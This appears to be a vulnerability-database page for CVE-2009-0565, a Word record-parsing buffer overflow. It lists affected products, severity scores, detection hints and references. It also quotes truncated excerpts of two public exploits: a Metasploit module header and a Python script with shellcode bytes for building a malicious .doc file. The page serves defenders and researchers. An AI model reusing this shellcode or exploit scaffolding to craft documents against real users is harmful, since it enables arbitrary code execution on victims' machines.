CVE-2009-0565
published 2009-06-10CVE-2009-0565: Buffer overflow in Microsoft Office Word 2000 SP3, 2002 SP3, and 2007 SP1 and SP2; Microsoft Office for Mac 2004 and 2008; Open XML File Format Converter for…
PriorityP263critical9.3CVSS 2.0
AVNACMAuNCCICAC
EXPLOIT
EPSS
40.50%
98.5th percentile
Buffer overflow in Microsoft Office Word 2000 SP3, 2002 SP3, and 2007 SP1 and SP2; Microsoft Office for Mac 2004 and 2008; Open XML File Format Converter for Mac; and Microsoft Office Compatibility Pack for Word, Excel, and PowerPoint 2007 File Formats SP1 and SP2 allows remote attackers to execute arbitrary code via a Word document with a malformed record that triggers memory corruption, aka "Word Buffer Overflow Vulnerability."
Affected
7 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| microsoft | office | — | — |
| microsoft | office | — | — |
| microsoft | office_word | — | — |
| microsoft | office_word | — | — |
| microsoft | office_word | — | — |
| microsoft | office_word | — | — |
| microsoft | office_word_viewer | — | — |
Detection & IOCsextracted from sources · hover to see the quote
bytes↗
\xDB\xDF\xD9\x74\x24\xF4\x58\x2B\xC9\xB1\x33\xBA\x4C\xA8\x75\x76
bytes↗
\x78\x9C\xEC\xBD\x77\x60\x54\xD5\xB6\x30\x3E\x69\x14\xAF\xF1\x7A\xBF\xAB\xCF\xFB\x7C\x4F\xDF
- →The exploit payload is a zlib-compressed blob embedded in a .doc file; detection should look for .doc files containing a zlib stream (0x78 0x9C header) at anomalous offsets within the Word binary record structure. ↗
- →The Metasploit module targets Microsoft Office 2003 on Windows XP SP0-SP3 (English) and uses EXITFUNC=process; process-exit shellcode behavior in winword.exe context is a detection signal. ↗
- →The exploit requires an abnormally large stack (ulimit -s 100000) when generating the malicious doc; this is a build-time artifact but the resulting .doc file can be detected by the embedded oversized compressed record. ↗
- →The only bad character for the payload is null byte (0x00); shellcode in exploit samples will not contain null bytes, which can be used as a YARA condition when scanning embedded shellcode in .doc files. ↗
- ·The Metasploit module explicitly targets only Microsoft Office 2003 on Windows XP SP0-SP3 English; the CVE also affects Word 2000 SP3, 2002 SP3, 2007 SP1/SP2, Office for Mac 2004/2008, Open XML File Format Converter for Mac, and the Office Compatibility Pack, but the public exploit code was only tested against the 2003/XP combination. ↗
- ·The exploit payload space is limited to 1200 bytes; larger or staged payloads may not function correctly within this constraint. ↗
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Microsoft Word 2003 - Record Parsing Buffer Overflow (MS09-027) (Metasploit)
exploitdb·2011-04-16
CVE-2009-0565 Microsoft Word 2003 - Record Parsing Buffer Overflow (MS09-027) (Metasploit)
Microsoft Word 2003 - Record Parsing Buffer Overflow (MS09-027) (Metasploit)
---
##
# $Id: ms09-027 10477 2011-04-13 11:59:02Z mc $
##
##
# This file is not part of the Metasploit Framework and may not be subject to
# redistribution and commercial restrictions.
##
#TODO some testing to find the real banned characters and maxlen
# add those parameters to the .rb file
# drop in appropriate directory
# ulimit -s 100000 is required to run this exploit appropriately
require 'msf/core'
#require 'zlib'
class Metasploit3 'MS Word Record Parsing Buffer Overflow(MS-09-027)',
'Description' => %q{
MS Word Record Parsing Buffer Overflow(MS-09-027)
Vulnerble application MS office 2003
Tested on XP SP2 - MS Ofice 2003 v. 11.5604.5606
Bug Found By Wushi of team509
Greets Villy, Abhishek Lyall and A
Exploit-DB
Microsoft Word - Record Parsing Buffer Overflow (MS09-027)
exploitdb·2010-08-20
CVE-2009-0565 Microsoft Word - Record Parsing Buffer Overflow (MS09-027)
Microsoft Word - Record Parsing Buffer Overflow (MS09-027)
---
#MS Word Record Parsing Buffer Overflow(MS-09-027)
#Vulnerble application MS office 2003
#Tested on XP SP2 - MS Ofice 2003 v. 11.5604.5606
#Bug Found By Wushi of team509
#!/usr/bin/python
import sys
import zlib
#windows/exec - CMD=calc.exe
shellcode = (
b"\xDB\xDF\xD9\x74\x24\xF4\x58\x2B\xC9\xB1\x33\xBA"
b"\x4C\xA8\x75\x76\x83\xC0\x04\x31\x50\x13\x03\x1C\xBB\x97\x83\x60"
b"\x53\xDE\x6C\x98\xA4\x81\xE5\x7D\x95\x93\x92\xF6\x84\x23\xD0\x5A"
b"\x25\xCF\xB4\x4E\xBE\xBD\x10\x61\x77\x0B\x47\x4C\x88\xBD\x47\x02"
b"\x4A\xDF\x3B\x58\x9F\x3F\x05\x93\xD2\x3E\x42\xC9\x1D\x12\x1B\x86"
b"\x8C\x83\x28\xDA\x0C\xA5\xFE\x51\x2C\xDD\x7B\xA5\xD9\x57\x85\xF5"
b"\x72\xE3\xCD\xED\xF9\xAB\xED\x0C\x2D\xA8\xD2\x47\x5A\x1B\xA0\x56"
b"\x8A\x55\x49\x6
No writeups or analysis indexed.
http://osvdb.org/54960http://securityreason.com/securityalert/8206http://www.securityfocus.com/bid/35190http://www.securitytracker.com/id?1022356http://www.us-cert.gov/cas/techalerts/TA09-160A.htmlhttp://www.vupen.com/english/advisories/2009/1546https://docs.microsoft.com/en-us/security-updates/securitybulletins/2009/ms09-027https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A6334http://osvdb.org/54960http://securityreason.com/securityalert/8206http://www.securityfocus.com/bid/35190http://www.securitytracker.com/id?1022356http://www.us-cert.gov/cas/techalerts/TA09-160A.htmlhttp://www.vupen.com/english/advisories/2009/1546https://docs.microsoft.com/en-us/security-updates/securitybulletins/2009/ms09-027https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A6334
2009-06-10
Published